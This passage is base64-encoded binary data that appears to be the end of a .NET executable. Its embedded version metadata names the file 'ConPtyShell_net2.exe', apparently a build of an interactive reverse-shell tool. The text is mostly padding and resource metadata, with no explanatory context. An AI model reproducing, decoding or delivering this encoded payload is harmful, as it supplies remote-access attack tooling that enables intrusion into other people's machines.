GA4YEgwIERgIGBEYCwcHGBE4ETgICAgIBQACDg4cBwAEDg4ODg4LBwcYGBE0ESwICAgFIAEBEXUDF4EBAxeAgQIeBwMXgQADIAAYBAcBEiEIBwQRPAgIEiEEAAEICAoHBggIDhFYGBFcBAABAQgFAAASgIkHIAMOHQUICAYgAR0OHQMGAAICDhAIDgcJHQUICAgODg4dAx0DBAcBEVAEBwIYGAQHAgkYBQcCCBFUBQACDhwcBgcDGAIRRAoHBRFMEVAIEVACBgcCEUQRTAIdHAwHCB0cGBgIAggJHQUGIAEBEoCRBCABARwGBwIdHBI1DQcJHRwYGBgIAggJHQUHAAQODhwcHAYAAw4OHBwGAAIODh0cHwcWGBgYGBgYGBgYAgICAg4SIRIhEiERTAgRSBI1EjUFAAASgJUIAAICDhASgJkFBwESgJkDBwEIAwcBCQMHAQ4EIAECDgkHBw4OCAIJCQ4IAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBAADYfwAAAAAAAAAAAADufwAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4H8AAAAAAAAAAF9Db3JFeGVNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYoAAAbAIAAAAAAAAAAAAAbAI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAAABAAAAAEAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBMwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAKgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAATAAVAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABDAG8AbgBQAHQAeQBTAGgAZQBsAGwAXwBuAGUAdAAyAC4AZQB4AGUAAAAAACgAAgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABUABUAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAF8AbgBlAHQAMgAuAGUAeABlAAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA